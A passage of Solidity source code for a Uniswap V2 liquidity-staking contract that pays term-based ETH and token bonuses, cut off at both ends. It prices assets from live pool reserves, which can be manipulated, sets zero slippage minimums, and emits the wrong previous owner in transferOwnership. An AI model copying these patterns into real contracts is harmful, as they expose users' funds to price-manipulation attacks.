(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } contract Owned { //address of contract owner address public owner; //event for transfer of ownership event OwnershipTransferred(address indexed _from, address indexed _to); /** * @dev Initializes the contract setting the _owner as the initial owner. */ constructor(address _owner) public { owner = _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner { require(msg.sender == owner, 'only owner allowed'); _; } /** * @dev Transfers ownership of the contract to a new account (`_newOwner`). * Can only be called by the current owner. */ function transferOwnership(address _newOwner) external onlyOwner { owner = _newOwner; emit OwnershipTransferred(owner, _newOwner); } } interface Multiplier { function updateLockupPeriod(address _user, uint _lockup) external returns(bool); function getMultiplierCeiling() external pure returns (uint); function balance(address user) external view returns (uint); function approvedContract(address _user) external view returns(address); function lockupPeriod(address user) external view returns (uint); } /* * @dev PoolStakes contract for locking up liquidity to earn bonus rewards. */ contract PoolStake is Owned { //instantiate SafeMath library using SafeMath for uint; IERC20 internal weth; //represents weth. IERC20 internal token; //represents the project's token which should have a weth pair on uniswap IERC20 internal lpToken; //lpToken for liquidity provisioning address internal uToken1; //utility token address internal uToken2; //utility token for migration address internal platformWallet; //fee receiver uint internal scalar = 10**36; //unit for scaling uint internal cap; //ETH limit that can be provided bool internal migratedToLQDY; Multiplier internal multiplier1; //Interface of Multiplier contract Multiplier internal multiplier2; //Interface of Multiplier contract UniswapV2Router internal uniswapRouter; //Interface of Uniswap V2 router IUniswapV2Factory internal iUniswapV2Factory; //Interface of uniswap V2 factory //user struct struct User { uint start; //starting period uint release; //release period uint tokenBonus; //user token bonus uint wethBonus; //user weth bonus uint tokenWithdrawn; //amount of token bonus withdrawn uint wethWithdrawn; //amount of weth bonus withdrawn uint liquidity; //user liquidity gotten from uniswap uint period; //identifies users' current term period bool migrated; //if migrated to uniswap V3 uint lastAction; //timestamp for user's last action uint lastTokenProvided; //last provided token uint lastWethProvided; //last provided eth uint lastTerm; //last term joined uint lastPercentToken; //last percentage for rewards token uint lastPercentWeth; //last percentage for rewards eth bool multiplier; //if last action included multiplier } mapping(address => User) internal _users; //term periods uint32 internal period1; uint32 internal period2; uint32 internal period3; uint32 internal period4; //12 hours represented in seconds uint32 internal constant _012_HOURS_IN_SECONDS = 43200; //mapping periods(in series of 1 - 4) to number of providers. mapping(uint => uint) internal _providers; //return percentages for ETH and token 1000 = 1% uint internal period1RPWeth; uint internal period2RPWeth; uint internal period3RPWeth; uint internal period4RPWeth; uint internal period1RPToken; uint internal period2RPToken; uint internal period3RPToken; uint internal period4RPToken; //available bonuses rto be claimed uint internal _pendingBonusesWeth; uint internal _pendingBonusesToken; //data for analytics uint internal totalETHProvided; uint internal totalTokenProvided; uint internal totalProviders; //migration contract for Uniswap V3 address public migrationContract; //events event BonusAdded(address indexed sender, uint ethAmount, uint tokenAmount); event BonusRemoved(address indexed sender, uint amount); event CapUpdated(address indexed sender, uint amount); event LPWithdrawn(address indexed sender, uint amount); event LiquidityAdded(address indexed sender, uint liquidity, uint amountETH, uint amountToken); event LiquidityWithdrawn(address indexed sender, uint liquidity, uint amountETH, uint amountToken); event MigratedToLQDY(address indexed sender, address uToken, address multiplier); event FeeReceiverUpdated(address oldFeeReceiver, address newFeeReceiver); event NewUToken(address indexed sender, address uToken2, address multiplier); event UserTokenBonusWithdrawn(address indexed sender, uint amount, uint fee); event UserETHBonusWithdrawn(address indexed sender, uint amount, uint fee); event VersionMigrated(address indexed sender, uint256 time, address to); event LiquidityMigrated(address indexed sender, uint amount, address to); event StakeEnded(address indexed sender, uint lostETHBonus, uint lostTokenBonus); /* * @dev initiates a new PoolStake. * -------------------------------------------------------- * @param _token --> token offered for staking liquidity. * @param _Owner --> address for the initial contract owner. */ constructor(address _token, address _Owner) public Owned(_Owner) { require(_token != address(0), "can not deploy a zero address"); token = IERC20(_token); weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); iUniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); address _lpToken = iUniswapV2Factory.getPair(address(token), address(weth)); require(_lpToken != address(0), "Pair must first be created on uniswap"); lpToken = IERC20(_lpToken); uToken1 = 0x9Ed8e7C9604790F7Ec589F99b94361d8AAB64E5E; platformWallet = 0xa7A4d919202DFA2f4E44FFAc422d21095bF9770a; multiplier1 = Multiplier(0xbc962d7be33d8AfB4a547936D8CE6b9a1034E9EE); uniswapRouter = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); } modifier onlyPlatformWallet() { require(msg.sender == platformWallet, "only wallet can call"); _; } modifier uTokenVet(uint _id) { if(uToken2 == address(0)) require(_id == 1, "currently accepts only uToken1"); if(migratedToLQDY) require(_id != 1, "currently accepts only uToken2"); _; } function newUToken(address _uToken2, address _multiplier2) external onlyPlatformWallet returns(bool) { require(uToken2 == address(0) && address(multiplier2) == address(0), "already migrated to LQDY"); require(_uToken2 != address(0x0) && _multiplier2 != address(0x0), "cannot set the zero address"); require(Address.isContract(_multiplier2), "multiplier must be a smart contract address"); uToken2 = _uToken2; multiplier2 = Multiplier(_multiplier2); emit NewUToken(msg.sender, _uToken2, _multiplier2); return true; } function completeUTokenMerge() external onlyPlatformWallet returns(bool) { require(!migratedToLQDY, "already migrated to LQDY"); migratedToLQDY = true; uToken1 = uToken2; address _multiplier2 = address(multiplier2); multiplier1 = Multiplier(_multiplier2); emit MigratedToLQDY(msg.sender, uToken2, address(multiplier2)); return true; } function changeFeeReceiver(address _feeReceiver) external onlyPlatformWallet returns(bool) { platformWallet = _feeReceiver; emit FeeReceiverUpdated(msg.sender, _feeReceiver); return true; } /* * @dev change the return percentage for locking up liquidity for ETH and Token (only Owner). * ------------------------------------------------------------------------------------ * @param _period1RPETH - _period4RPToken --> the new return percentages. * ---------------------------------------------- * returns whether successfully changed or not. */ function changeReturnPercentages( uint _period1RPETH, uint _period2RPETH, uint _period3RPETH, uint _period4RPETH, uint _period1RPToken, uint _period2RPToken, uint _period3RPToken, uint _period4RPToken ) external onlyOwner returns(bool) { period1RPWeth = _period1RPETH; period2RPWeth = _period2RPETH; period3RPWeth = _period3RPETH; period4RPWeth = _period4RPETH; period1RPToken = _period1RPToken; period2RPToken = _period2RPToken; period3RPToken = _period3RPToken; period4RPToken = _period4RPToken; return true; } /* * @dev change the lockup periods (only Owner). * ------------------------------------------------------------------------------------ * @param _firstTerm - _fourthTerm --> the new term periods. * ---------------------------------------------- * returns whether successfully changed or not. */ function changeTermPeriods( uint32 _firstTerm, uint32 _secondTerm, uint32 _thirdTerm, uint32 _fourthTerm ) external onlyOwner returns(bool) { period1 = _firstTerm; period2 = _secondTerm; period3 = _thirdTerm; period4 = _fourthTerm; return true; } /* * @dev change the maximum ETH that a user can enter with (only Owner). * ------------------------------------------------------------------------------------ * @param _cap --> the new cap value. * ---------------------------------------------- * returns whether successfully changed or not. */ function changeCap(uint _cap) external onlyOwner returns(bool) { cap = _cap; emit CapUpdated(msg.sender, _cap); return true; } /* * @dev makes migration possible for uniswap V3 (only Owner). * ---------------------------------------------------------- * @param _unistakeMigrationContract --> the migration contract address. * ------------------------------------------------------------------------- * returns whether successfully migrated or not. */ function allowMigration(address _unistakeMigrationContract) external onlyOwner returns (bool) { require(_unistakeMigrationContract != address(0x0), "cannot migrate to a null address"); migrationContract = _unistakeMigrationContract; emit VersionMigrated(msg.sender, now, migrationContract); return true; } /* * @dev initiates migration for a user (only when migration is allowed). * ------------------------------------------------------------------- * @param _unistakeMigrationContract --> the migration contract address. * ------------------------------------------------------------------------- * returns whether successfully migrated or not. */ function startMigration(address _unistakeMigrationContract) external returns (bool) { require(_unistakeMigrationContract != address(0x0), "cannot migrate to a null address"); require(migrationContract == _unistakeMigrationContract, "must confirm endpoint"); require(!getUserMigration(msg.sender), "must not be migrated already"); _users[msg.sender].migrated = true; uint256 liquidity = _users[msg.sender].liquidity; lpToken.transfer(migrationContract, liquidity); emit LiquidityMigrated(msg.sender, liquidity, migrationContract); return true; } /* * @dev add more staking bonuses to the pool. * ---------------------------------------- * @param --> input value along with call to add ETH * @param _tokenAmount --> the amount of token to be added. * -------------------------------------------------------- * returns whether successfully added or not. */ function addBonus(uint _tokenAmount) external payable returns(bool) { require(_tokenAmount > 0 || msg.value > 0, "must send value"); if (_tokenAmount > 0) require(token.transferFrom(msg.sender, address(this), _tokenAmount), "must approve smart contract"); emit BonusAdded(msg.sender, msg.value, _tokenAmount); return true; } /* * @dev remove staking bonuses to the pool. (only owner) * must have enough asset to be removed * ---------------------------------------- * @param _amountETH --> eth amount to be removed * @param _amountToken --> token amount to be removed. * -------------------------------------------------------- * returns whether successfully added or not. */ function removeETHAndTokenBouses(uint _amountETH, uint _amountToken) external onlyOwner returns (bool success) { require(_amountETH > 0 || _amountToken > 0, "amount must be larger than zero"); if (_amountETH > 0) { require(_checkForSufficientStakingBonusesForETH(_amountETH), 'cannot withdraw above current ETH bonus balance'); msg.sender.transfer(_amountETH); emit BonusRemoved(msg.sender, _amountETH); } if (_amountToken > 0) { require(_checkForSufficientStakingBonusesForToken(_amountToken), 'cannot withdraw above current token bonus balance'); require(token.transfer(msg.sender, _amountToken), "error: token transfer failed"); emit BonusRemoved(msg.sender, _amountToken); } return true; } /* * @dev add unwrapped liquidity to staking pool. * -------------------------------------------- * @param _tokenAmount --> must input token amount along with call * @param _term --> the lockup term. * @param _multiplier --> whether multiplier should be used or not * 1 means you want to use the multiplier. !1 means no multiplier * ------------------------------------------------------------------------------------- */ function addLiquidity(uint _term, uint _multiplier, uint _id) external uTokenVet(_id) payable { require(!getUserMigration(msg.sender), "must not be migrated already"); require(now >= _users[msg.sender].release, "cannot override current term"); (bool isValid, uint period) = _isValidTerm(_term); require(isValid, "must select a valid term"); require(msg.value > 0, "must send ETH along with transaction"); if (cap != 0) require(msg.value <= cap, "cannot provide more than the cap"); uint rate = _proportion(msg.value, address(weth), address(token)); require(token.transferFrom(msg.sender, address(this), rate), "must approve smart contract"); (uint ETH_bonus, uint token_bonus) = getUserBonusPending(msg.sender); require(ETH_bonus == 0 && token_bonus == 0, "must first withdraw available bonus"); uint oneTenthOfRate = (rate.mul(10)).div(100); token.approve(address(uniswapRouter), rate); (uint amountToken, uint amountETH, uint liquidity) = uniswapRouter.addLiquidityETH{value: msg.value}( address(token), rate.add(oneTenthOfRate), 0, 0, address(this), now.add(_012_HOURS_IN_SECONDS)); uint term = _term; uint mul = _multiplier; uint __id = _id; _users[msg.sender].start = now; _users[msg.sender].release = now.add(term); totalETHProvided = totalETHProvided.add(amountETH); totalTokenProvided = totalTokenProvided.add(amountToken); totalProviders++; uint currentPeriod = _users[msg.sender].period; if (currentPeriod != period) { _providers[currentPeriod]--; _providers[period]++; _users[msg.sender].period = period; } uint previousLiquidity = _users[msg.sender].liquidity; _users[msg.sender].liquidity = previousLiquidity.add(liquidity); uint wethRP = _calculateReturnPercentage(weth, term); uint tokenRP = _calculateReturnPercentage(token, term); (uint provided_ETH, uint provided_token) = getUserLiquidity(msg.sender); if (mul == 1) _withMultiplier(term, provided_ETH, provided_token, wethRP, tokenRP, __id); else _withoutMultiplier(provided_ETH, provided_token, wethRP, tokenRP); _updateLastProvision(now, term, provided_token, provided_ETH, mul); emit LiquidityAdded(msg.sender, liquidity, amountETH, amountToken); } /* * @dev uses the Multiplier contract for double rewarding * ------------------------------------------------------ * @param _term --> the lockup term. * @param amountETH --> ETH amount provided in liquidity * @param amountToken --> token amount provided in liquidity * @param wethRP --> return percentge for ETH based on term period * @param tokenRP --> return percentge for token based on term period * -------------------------------------------------------------------- */ function _withMultiplier( uint _term, uint amountETH, uint amountToken, uint wethRP, uint tokenRP, uint _id ) internal { if(_id == 1) _resolveMultiplier(_term, amountETH, amountToken, wethRP, tokenRP, multiplier1); else _resolveMultiplier(_term, amountETH, amountToken, wethRP, tokenRP, multiplier2); } /* * @dev distributes bonus without considering Multiplier * ------------------------------------------------------ * @param amountETH --> ETH amount provided in liquidity * @param amountToken --> token amount provided in liquidity * @param wethRP --> return percentge for ETH based on term period * @param tokenRP --> return percentge for token based on term period * -------------------------------------------------------------------- */ function _withoutMultiplier( uint amountETH, uint amountToken, uint wethRP, uint tokenRP ) internal { uint addedBonusWeth; uint addedBonusToken; if (_offersBonus(weth) && _offersBonus(token)) { addedBonusWeth = _calculateBonus(amountETH, wethRP); addedBonusToken = _calculateBonus(amountToken, tokenRP); require(_checkForSufficientStakingBonusesForETH(addedBonusWeth) && _checkForSufficientStakingBonusesForToken(addedBonusToken), "must be sufficient staking bonuses available in pool"); _users[msg.sender].wethBonus = _users[msg.sender].wethBonus.add(addedBonusWeth); _users[msg.sender].tokenBonus = _users[msg.sender].tokenBonus.add(addedBonusToken); _users[msg.sender].lastPercentWeth = wethRP; _users[msg.sender].lastPercentToken = tokenRP; _pendingBonusesWeth = _pendingBonusesWeth.add(addedBonusWeth); _pendingBonusesToken = _pendingBonusesToken.add(addedBonusToken); } else if (_offersBonus(weth) && !_offersBonus(token)) { addedBonusWeth = _calculateBonus(amountETH, wethRP); require(_checkForSufficientStakingBonusesForETH(addedBonusWeth), "must be sufficient staking bonuses available in pool"); _users[msg.sender].wethBonus = _users[msg.sender].wethBonus.add(addedBonusWeth); _users[msg.sender].lastPercentWeth = wethRP; _pendingBonusesWeth = _pendingBonusesWeth.add(addedBonusWeth); } else if (!_offersBonus(weth) && _offersBonus(token)) { addedBonusToken = _calculateBonus(amountToken, tokenRP); require(_checkForSufficientStakingBonusesForToken(addedBonusToken), "must be sufficient staking bonuses available in pool"); _users[msg.sender].tokenBonus = _users[msg.sender].tokenBonus.add(addedBonusToken); _users[msg.sender].lastPercentToken = tokenRP; _pendingBonusesToken = _pendingBonusesToken.add(addedBonusToken); } } function _resolveMultiplier( uint _term, uint amountETH, uint amountToken, uint wethRP, uint tokenRP, Multiplier _multiplier ) internal { uint addedBonusWeth; uint addedBonusToken; require(_multiplier.balance(msg.sender) > 0, "No Multiplier balance to use"); if (_term > _multiplier.lockupPeriod(msg.sender)) _multiplier.updateLockupPeriod(msg.sender, _term); uint multipliedETH = _proportion(_multiplier.balance(msg.sender), uToken1, address(weth)); uint multipliedToken = _proportion(multipliedETH, address(weth), address(token)); if (_offersBonus(weth) && _offersBonus(token)) { if (multipliedETH > amountETH) { multipliedETH = (_calculateBonus((amountETH.mul(_multiplier.getMultiplierCeiling())), wethRP)); addedBonusWeth = multipliedETH; } else { addedBonusWeth = (_calculateBonus((amountETH.add(multipliedETH)), wethRP)); } if (multipliedToken > amountToken) { multipliedToken = (_calculateBonus((amountToken.mul(_multiplier.getMultiplierCeiling())), tokenRP)); addedBonusToken = multipliedToken; } else { addedBonusToken = (_calculateBonus((amountToken.add(multipliedToken)), tokenRP)); } require(_checkForSufficientStakingBonusesForETH(addedBonusWeth) && _checkForSufficientStakingBonusesForToken(addedBonusToken), "must be sufficient staking bonuses available in pool"); _users[msg.sender].wethBonus = _users[msg.sender].wethBonus.add(addedBonusWeth); _users[msg.sender].tokenBonus = _users[msg.sender].tokenBonus.add(addedBonusToken); _users[msg.sender].lastPercentWeth = wethRP.mul(2); _users[msg.sender].lastPercentToken = tokenRP.mul(2); _pendingBonusesWeth = _pendingBonusesWeth.add(addedBonusWeth); _pendingBonusesToken = _pendingBonusesToken.add(addedBonusToken); } else if (_offersBonus(weth) && !_offersBonus(token)) { if (multipliedETH > amountETH) { multipliedETH = (_calculateBonus((amountETH.mul(_multiplier.getMultiplierCeiling())), wethRP)); addedBonusWeth = multipliedETH; } else { addedBonusWeth = (_calculateBonus((amountETH.add(multipliedETH)), wethRP)); } require(_checkForSufficientStakingBonusesForETH(addedBonusWeth), "must be sufficient staking bonuses available in pool"); _users[msg.sender].wethBonus = _users[msg.sender].wethBonus.add(addedBonusWeth); _users[msg.sender].lastPercentWeth = wethRP.mul(2); _pendingBonusesWeth = _pendingBonusesWeth.add(addedBonusWeth); } else if (!_offersBonus(weth) && _offersBonus(token)) { if (multipliedToken > amountToken) { multipliedToken = (_calculateBonus((amountToken.mul(_multiplier.getMultiplierCeiling())), tokenRP)); addedBonusToken = multipliedToken; } else { addedBonusToken = (_calculateBonus((amountToken.add(multipliedToken)), tokenRP)); } require(_checkForSufficientStakingBonusesForToken(addedBonusToken), "must be sufficient staking bonuses available in pool"); _users[msg.sender].tokenBonus = _users[msg.sender].tokenBonus.add(addedBonusToken); _users[msg.sender].lastPercentToken = tokenRP.mul(2); _pendingBonusesToken = _pendingBonusesToken.add(addedBonusToken); } } function _updateLastProvision( uint timestamp, uint term, uint tokenProvided, uint ethProvided, uint _multiplier ) internal { _users[msg.sender].lastAction = timestamp; _users[msg.sender].lastTerm = term; _users[msg.sender].lastTokenProvided = tokenProvided; _users[msg.sender].lastWethProvided = ethProvided; _users[msg.sender].multiplier = _multiplier == 1 ? true : false; } /* * @dev relocks liquidity already provided * -------------------------------------------- * @param _term --> the lockup term. * @param _multiplier --> whether multiplier should be used or not * 1 means you want to use the multiplier. !1 means no multiplier * -------------------------------------------------------------- * returns whether successfully relocked or not. */ function relockLiquidity(uint _term, uint _multiplier, uint _id) external uTokenVet(_id) returns(bool) { require(!getUserMigration(msg.sender), "must not be migrated already"); require(_users[msg.sender].liquidity > 0, "do not have any liquidity to lock"); require(now >= _users[msg.sender].release, "cannot override current term"); (bool isValid, uint period) = _isValidTerm(_term); require(isValid, "must select a valid term"); (uint ETH_bonus, uint token_bonus) = getUserBonusPending(msg.sender); require (ETH_bonus == 0 && token_bonus == 0, 'must withdraw available bonuses first'); (uint provided_ETH, uint provided_token) = getUserLiquidity(msg.sender); if (cap != 0) require(provided_ETH <= cap, "cannot provide more than the cap"); uint wethRP = _calculateReturnPercentage(weth, _term); uint tokenRP = _calculateReturnPercentage(token, _term); totalProviders++; uint currentPeriod = _users[msg.sender].period; if (currentPeriod != period) { _providers[currentPeriod]--; _providers[period]++; _users[msg.sender].period = period; } _users[msg.sender].start = now; _users[msg.sender].release = now.add(_term); uint __id = _id; uint term = _term; uint mul = _multiplier; if (mul == 1) _withMultiplier(term, provided_ETH, provided_token, wethRP, tokenRP, __id); else _withoutMultiplier(provided_ETH, provided_token, wethRP, tokenRP); _updateLastProvision(now, term, provided_token, provided_ETH, mul); return true; } /* * @dev withdraw unwrapped liquidity by user if released. * ------------------------------------------------------- * @param _lpAmount --> takes the amount of user's lp token to be withdrawn. * ------------------------------------------------------------------------- * returns whether successfully withdrawn or not. */ function withdrawLiquidity(uint _lpAmount) external returns(bool) { require(!getUserMigration(msg.sender), "must not be migrated already"); uint liquidity = _users[msg.sender].liquidity; require(_lpAmount > 0 && _lpAmount <= liquidity, "do not have any liquidity"); require(now >= _users[msg.sender].release, "cannot override current term"); _users[msg.sender].liquidity = liquidity.sub(_lpAmount); lpToken.approve(address(uniswapRouter), _lpAmount); (uint amountToken, uint amountETH) = uniswapRouter.removeLiquidityETH( address(token), _lpAmount, 1, 1, msg.sender, now); uint period = _users[msg.sender].period; if (_users[msg.sender].liquidity == 0) { _users[msg.sender].period = 0; _providers[period]--; _updateLastProvision(0, 0, 0, 0, 0); _users[msg.sender].lastPercentWeth = 0; _users[msg.sender].lastPercentToken = 0; } emit LiquidityWithdrawn(msg.sender, _lpAmount, amountETH, amountToken); return true; } /* * @dev withdraw LP token by user if released. * ------------------------------------------------------- * returns whether successfully withdrawn or not. */ function withdrawUserLP() external returns(bool) { require(!getUserMigration(msg.sender), "must not be migrated already"); uint liquidity = _users[msg.sender].liquidity; require(liquidity > 0, "do not have any liquidity"); require(now >= _users[msg.sender].release, "cannot override current term"); uint period = _users[msg.sender].period; _users[msg.sender].liquidity = 0; _users[msg.sender].period = 0; _providers[period]--; _updateLastProvision(0, 0, 0, 0, 0); _users[msg.sender].lastPercentWeth = 0; _users[msg.sender].lastPercentToken = 0; lpToken.transfer(msg.sender, liquidity); emit LPWithdrawn(msg.sender, liquidity); return true; } function endStake(uint _id) external uTokenVet(_id) returns(bool) { require(_users[msg.sender].release > now, "no current lockup"); _withdrawUserBonus(_id); (uint ethBonus, uint tokenBonus) = getUserBonusPending(msg.sender); _zeroBalances(); if (ethBonus > 0 && tokenBonus > 0) { _pendingBonusesWeth = _pendingBonusesWeth.sub(ethBonus); _pendingBonusesToken = _pendingBonusesToken.sub(tokenBonus); } else if (ethBonus > 0 && tokenBonus == 0) _pendingBonusesWeth = _pendingBonusesWeth.sub(ethBonus); else if (ethBonus == 0 && tokenBonus > 0) _pendingBonusesToken = _pendingBonusesToken.sub(tokenBonus); emit StakeEnded(msg.sender, ethBonus, tokenBonus); return true; } /* * @dev withdraw available staking bonuses earned from locking up liquidity. * -------------------------------------------------------------- * returns whether successfully withdrawn or not. */ function withdrawUserBonus(uint _id) external uTokenVet(_id) returns(bool) { (uint ETH_bonus, uint token_bonus) = getUserBonusAvailable(msg.sender); require(ETH_bonus > 0 || token_bonus > 0, "you do not have any bonus available"); _withdrawUserBonus(_id); if (_users[msg.sender].release <= now) { _zeroBalances(); } return true; } function _zeroBalances() internal { _users[msg.sender].wethWithdrawn = 0; _users[msg.sender].tokenWithdrawn = 0; _users[msg.sender].wethBonus = 0; _users[msg.sender].tokenBonus = 0; } function _withdrawUserBonus(uint _id) internal { uint releasedToken = _calculateTokenReleasedAmount(msg.sender); uint releasedETH = _calculateETHReleasedAmount(msg.sender); if (releasedToken > 0 && releasedETH > 0) { _withdrawUserTokenBonus(msg.sender, releasedToken, _id); _withdrawUserETHBonus(msg.sender, releasedETH, _id); } else if (releasedETH > 0 && releasedToken == 0) _withdrawUserETHBonus(msg.sender, releasedETH, _id); else if (releasedETH == 0 && releasedToken > 0) _withdrawUserTokenBonus(msg.sender, releasedToken, _id); } /* * @dev withdraw ETH bonus earned from locking up liquidity * -------------------------------------------------------------- * @param _user --> address of the user making withdrawal * @param releasedAmount --> released ETH to be withdrawn * ------------------------------------------------------------------ * returns whether successfully withdrawn or not. */ function _withdrawUserETHBonus(address payable _user, uint releasedAmount, uint _id) internal returns(bool) { _users[_user].wethWithdrawn = _users[_user].wethWithdrawn.add(releasedAmount); _pendingBonusesWeth = _pendingBonusesWeth.sub(releasedAmount); (uint fee, uint feeInETH) = _calculateETHFee(releasedAmount); if(_id == 1) require(IERC20(uToken1).transferFrom(_user, platformWallet, fee), "must approve fee"); else require(IERC20(uToken2).transferFrom(_user, platformWallet, fee), "must approve fee"); _user.transfer(releasedAmount); emit UserETHBonusWithdrawn(_user, releasedAmount, feeInETH); return true; } /* * @dev withdraw token bonus earned from locking up liquidity * -------------------------------------------------------------- * @param _user --> address of the user making withdrawal * @param releasedAmount --> released token to be withdrawn * ------------------------------------------------------------------ * returns whether successfully withdrawn or not. */ function _withdrawUserTokenBonus(address _user, uint releasedAmount, uint _id) internal returns(bool) { _users[_user].tokenWithdrawn = _users[_user].tokenWithdrawn.add(releasedAmount); _pendingBonusesToken = _pendingBonusesToken.sub(releasedAmount); (uint fee, uint feeInToken) = _calculateTokenFee(releasedAmount); if(_id == 1) require(IERC20(uToken1).transferFrom(_user, platformWallet, fee), "must approve fee"); else require(IERC20(uToken2).transferFrom(_user, platformWallet, fee), "must approve fee"); token.transfer(_user, releasedAmount); emit UserTokenBonusWithdrawn(_user, releasedAmount, feeInToken); return true; } /* * @dev gets an asset's amount in proportion of a pair asset * --------------------------------------------------------- * param _amount --> the amount of first asset * param _tokenA --> the address of the first asset * param _tokenB --> the address of the second asset * ------------------------------------------------- * returns the propotion of the _tokenB */ function _proportion(uint _amount, address _tokenA, address _tokenB) internal view returns(uint tokenBAmount) { (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(address(iUniswapV2Factory), _tokenA, _tokenB); return UniswapV2Library.quote(_amount, reserveA, reserveB); } /* * @dev gets the released Token value * -------------------------------- * param _user --> the address of the user * ------------------------------------------------------ * returns the released amount in Token */ function _calculateTokenReleasedAmount(address _user) internal view returns(uint) { uint release = _users[_user].release; uint start = _users[_user].start; uint taken = _users[_user].tokenWithdrawn; uint tokenBonus = _users[_user].tokenBonus; uint releasedPct; if (now >= release) releasedPct = 100; else releasedPct = ((now.sub(start)).mul(100000)).div((release.sub(start)).mul(1000)); uint released = (((tokenBonus).mul(releasedPct)).div(100)); return released.sub(taken); } /* * @dev gets the released ETH value * -------------------------------- * param _user --> the address of the user * ------------------------------------------------------ * returns the released amount in ETH */ function _calculateETHReleasedAmount(address _user) internal view returns(uint) { uint release = _users[_user].release; uint start = _users[_user].start; uint taken = _users[_user].wethWithdrawn; uint wethBonus = _users[_user].wethBonus; uint releasedPct; if (now >= release) releasedPct = 100; else releasedPct = ((now.sub(start)).mul(10000)).div((release.sub(start)).mul(100)); uint released = (((wethBonus).mul(releasedPct)).div(100)); return released.sub(taken); } /* * @dev get the required fee for the released token bonus in the utility token * ------------------------------------------------------------------------------- * param _user --> the address of the user * ---------------------------------------------------------- * returns the fee amount in the utility token and Token */ function _calculateTokenFee(uint _amount) internal view returns(uint uTokenFee, uint tokenFee) { uint fee = (_amount.mul(10)).div(100); uint feeInETH = _proportion(fee, address(token), address(weth)); uint feeInUtoken = _proportion(feeInETH, address(weth), uToken1); return (feeInUtoken, fee); } /* * @dev get the required fee for the released ETH bonus in the utility token * ------------------------------------------------------------------------------- * param _user --> the address of the user * ---------------------------------------------------------- * returns the fee amount in the utility token and ETH */ function _calculateETHFee(uint _amount) internal view returns(uint uTokenFee, uint ethFee) { uint fee = (_amount.mul(10)).div(100); uint feeInUtoken = _proportion(fee, address(weth), 